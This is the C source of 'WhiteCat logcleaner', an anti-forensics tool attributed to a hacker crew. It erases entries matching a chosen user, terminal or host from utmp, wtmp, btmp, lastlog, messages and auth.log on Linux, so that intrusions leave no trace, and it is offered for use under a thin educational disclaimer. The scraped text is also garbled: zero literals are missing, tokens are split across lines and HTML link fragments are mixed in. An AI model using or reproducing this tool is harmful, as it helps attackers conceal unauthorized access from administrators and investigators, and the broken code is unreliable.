WhiteCat log cleaner version 1.0. WhiteCat is designed for any UNIX-like system, but tested only on Linux. Distributed under GPLv2.
/*
* This is WhiteCat logcleaner version 1.0 by ShadOS from Hell Knights Crew.
* It supports perl compatible regular expressions and cleans any binary and
* text log files (just correct source a little). WhiteCat is designed for
* any UNIX-like system, but tested only on Linux. Distributed under GPLv2.
* Use it only for educational purpose.
* Don't forget to visit our site and my homepage for new releases:
* <a href="http://hellknights.void.ru<br />
" title="http://hellknights.void.ru<br />
">http://hellknights.void.ru<br />
</a> * <a href="http://shados.0x48k.cc<br />
" title="http://shados.0x48k.cc<br />
">http://shados.0x48k.cc<br />
</a> * Also, you can mail me any bugs or suggestions:
* <a href="mailto:shados" title="mailto:shados">mailto:shados</a> /\./\ real.xakep.ru
* <a href="mailto:shados" title="mailto:shados">mailto:shados</a> /\./\ 0x48k.cc
*
* Copyright (C) 89, 90, 91, 1995-2007 Free Software Foundation.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <utmp.h>
#include <fcntl.h>
#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
#include <lastlog.h>
#include <string.h>
#include <regex.h>
#include <limits.h> /* for PATH_MAX */
#include <getopt.h>
#ifndef UTMP_FILE
#define UTMP_FILE "/var/run/utmp"
#endif
#ifndef WTMP_FILE
#define WTMP_FILE "/var/log/wtmp"
#endif
//modify parametrs as in your box
#define BTMP_FILE "/var/log/btmp"
#define LASTLOG_FILE "/var/log/lastlog"
#define MESSAGES_FILE "/var/log/messages"
#define SECURE_FILE "/var/log/auth.log"
#define MAXBUFF 8*1024
#define PROGRAM_NAME "WhiteCat logcleaner"
#define PROGRAM_VERSION 1.0
#define AUTHOR "Shad0S [Hell Knights Crew]"
char *myname
; /* for error messages */
int do_ignorecase
= ; /* -i option: ignore case */
int do_extended
= ; /* -E option: use extended RE's */
int do_username
= ;
int do_hostname
= ;
int do_tty
= ;
int errors
= ; /* number of errors */
/* patterns to match */
regex_t username
;
regex_t hostname
;
regex_t tty
;
void copy_tmp
(char *dstfilename
, char *tmpfilename
);
void clear_textlog
(char *filename
);
void clear_uwbtmp
(char *filename
);
void clear_lastlog
(char *filename
);
regex_t compile_pattern
(const char *pat
);
int process_regexp
(regex_t
*pattern
, char *buf
, size_t size
);
void usage
(void);
void version
(void);
int main
(int argc
, char *argv
[])
{
myname
= argv
[];
char c
;
struct option longopts
[]={
{ "user", required_argument
, &do_username
, 'u'},
{ "tty", required_argument
, &do_tty
, 't'},
{ "hostname", required_argument
, &do_hostname
, 'a'},
{ "extended", no_argument
, &do_extended
, 'e'},
{ "ignore", no_argument
, &do_ignorecase
, 'i'},
{ "help", no_argument
, NULL
, 'h'},
{ "version", no_argument
, NULL
, 'V'},
{ , , , }
};
if ((argc
< 2) || (argc
> 18)) {
version
();
usage
();
}
while ((c
=getopt_long
(argc
,argv
,"u:t:a:reihVW;",longopts
,NULL
)) != -1) {
switch (c
) {
case 'u':
username
= compile_pattern
(optarg
);
if (errors
) usage
(); //compile failed
do_username
=1;
break;
case 't':
tty
= compile_pattern
(optarg
);
if (errors
) usage
(); //compile failed
do_tty
=1;
break;
case 'a':
hostname
= compile_pattern
(optarg
);
if (errors
) usage
(); //compile failed
do_hostname
=1;
break;
case 'e':
do_extended
= 1;
break;
case 'i':
do_ignorecase
= 1;
break;
case 'h':
version
();
usage
();
case 'V':
version
();
exit();
break;
case :
break;
case ':':
fprintf(stderr
, "%s: option '-%c' requires an argument\n",
myname
, optopt
);
usage
();
case '?':
default:
fprintf(stderr
, "%s: option '-%c' is invalid: ignored\n",
myname
, optopt
);
usage
();
}
}
//sanity check
if (!do_username
&& !do_tty
&& !do_hostname
){
fprintf(stderr
, "%s: didn't found any parametr to clean (username, hostname, tty)!\n",
myname
);
usage
();
}
clear_uwbtmp
(UTMP_FILE
);
printf("utmp cleaning \t\t \033[1m[ OK ]\033[0m\n");
clear_uwbtmp
(WTMP_FILE
);
printf("wtmp cleaning \t\t \033[1m[ OK ]\033[0m\n");
clear_uwbtmp
(BTMP_FILE
);
printf("btmp cleaning \t\t \033[1m[ OK ]\033[0m\n");
clear_lastlog
(LASTLOG_FILE
);
printf("lastlog cleaning \t \033[1m[ OK ]\033[0m\n");
clear_textlog
(MESSAGES_FILE
);
printf("messages cleaning \t \033[1m[ OK ]\033[0m\n");
clear_textlog
(SECURE_FILE
);
printf("secure cleaning \t \033[1m[ OK ]\033[0m\n");
return ;
}
/* replace logfile with tempfile */
void copy_tmp
(char *dstfilename
, char *tmpfilename
)
{
char buffer
[BUFSIZ
];
sprintf(buffer
, "cat %s > %s", tmpfilename
, dstfilename
);
printf("%s\n", buffer
);
if (system(buffer
) < ) {
printf("Error copying from tempfile!");
exit(-1);
}
unlink
(tmpfilename
);
}
/* cleanup plaintext logfiles */
void clear_textlog
(char *filename
)
{
char buftmp
[MAXBUFF
];
FILE
*fd
;
int fdtmp
;
int found
= ;
static char template
[] = "/tmp/tmpfileXXXXXX";
char ftmpname
[PATH_MAX
];
if ( (fd
= fopen(filename
, "r")) == ) {
perror(filename
);
exit(-1);
}
strcpy(ftmpname
, template
);
fdtmp
= mkstemp
(ftmpname
);
while (fgets(buftmp
, MAXBUFF
, fd
) != NULL
)
{
if (do_hostname
) found
= process_regexp
(&hostname
, buftmp
, sizeof(buftmp
));
if (do_username
) found
= process_regexp
(&username
, buftmp
, sizeof(buftmp
));
if (do_tty
) found
= process_regexp
(&tty
, buftmp
, sizeof(buftmp
));
if (!found
) write
(fdtmp
, &buftmp
, sizeof(buftmp
));
found
= ;
}
fclose(fd
);
close
(fdtmp
);
copy_tmp
(filename
, ftmpname
);
}
/* cleanup binary log entries */
void clear_uwbtmp
(char *filename
)
{
struct utmp entry
;
int fd
;
int fdtmp
;
int found
= ;
static char template
[] = "/tmp/tmpfileXXXXXX";
char ftmpname
[PATH_MAX
];
if ( (fd
= open
(filename
, O_RDONLY
)) == -1) {
perror(filename
);
exit(-1);
}
strcpy(ftmpname
, template
);
fdtmp
= mkstemp
(ftmpname
);
while (read
(fd
, &entry
, sizeof(struct utmp
)) > )
{
if (do_hostname
) found
= process_regexp
(&hostname
, entry.
ut_host, sizeof(entry.
ut_host));
if (do_username
) found
= process_regexp
(&username
, entry.
ut_user, sizeof(entry.
ut_user));
if (do_tty
) found
= process_regexp
(&tty
, entry.
ut_line, sizeof(entry.
ut_line));
if (!found
) write
(fdtmp
, &entry
, sizeof(struct utmp
));
found
= ;
}
close
(fd
);
close
(fdtmp
);
copy_tmp
(filename
, ftmpname
);
}
/* cleanup lastlog binary file with holes */
void clear_lastlog
(char *filename
)
{
struct passwd
*pwd
;
struct lastlog entry
;
int uid
= ;
int found
= ;
int fd
;
if ( (fd
= open
(filename
, O_RDWR
)) < ) {
perror(filename
);
exit(-1);
}
/* set position to the beginning of the file */
lseek
(fd
, (off_t) , SEEK_SET
);
while (read
(fd
, &entry
, sizeof(struct lastlog
)) > )
{
if (do_username
) {
if ((pwd
= getpwuid
(uid
))!=NULL
)
found
= process_regexp
(&username
, pwd
->pw_name
, sizeof(pwd
->pw_name
));
uid
++;
}
if (do_hostname
) found
= process_regexp
(&hostname
, entry.
ll_host, sizeof(entry.
ll_host));
if (do_tty
) found
= process_regexp
(&tty
, entry.
ll_line, sizeof(entry.
ll_line));
if (found
)
{
lseek
(fd
, -(off_t)sizeof(struct lastlog
), SEEK_CUR
);
//XXX is this 3 lines correct?
entry.
ll_time = ;
strcpy (entry.
ll_line, " ");
strncpy (entry.
ll_host, " ", 5);
found
= ;
}
write
(fd
, &entry
, sizeof(struct lastlog
));
}
close
(fd
);
}
/* compile the regex pattern */
regex_t compile_pattern
(const char *pat
)
{
int flags
= REG_NOSUB
; /* don't need where-matched info */
int ret
;
regex_t pattern
;
#define MSGBUFSIZE 512 /* arbitrary */
char error
[MSGBUFSIZE
];
if (do_ignorecase
)
flags
|= REG_ICASE
;
if (do_extended
)
flags
|= REG_EXTENDED
;
ret
= regcomp
(&pattern
, pat
, flags
);
if (ret
!= ) {
(void) regerror
(ret
, &pattern
, error
, sizeof error
);
fprintf(stderr
, "%s: pattern `%s': %s\n", myname
, pat
, error
);
errors
++;
}
else
return pattern
;
}
/* process regular expression */
int process_regexp
(regex_t
*pattern
, char *buf
, size_t size
)
{
char error
[MSGBUFSIZE
];
int ret
;
if ((ret
= regexec
(pattern
, buf
, , NULL
, )) != ) {
if (ret
!= REG_NOMATCH
) {
(void) regerror
(ret
, pattern
, error
, sizeof error
);
fprintf(stderr
, "%s: %s\n", myname
, error
);
errors
++;
return ;
}
return ;
}
else
return 1;
}
/* print usage message and exit with 0x48k status */
void usage
(void)
{
printf("Usage:\n");
printf("\t %s [-u user] [-t tty] [-a hostname|ipaddr] [OPTIONS]\n", myname
);
printf("OPTIONS:\n");
printf("\t -i --ignore \t ignore case in regexps\n");
printf("\t -e --extended \t use extended regexps\n");
printf("\t -V --version \t show version info and exit\n");
printf("\t -h --help \t show this help screen and exit\n");
printf("\n");
exit(0x48);
}
/* print version information */
void version
(void)
{
fprintf(stdout
, "\t ================================================================\n");
fprintf(stdout
, "\t = \033[1m%s %1.1f by %s, 2007.\033[0m =\n", PROGRAM_NAME
, PROGRAM_VERSION
, AUTHOR
);
fprintf(stdout
, "\t ================================================================\n");
}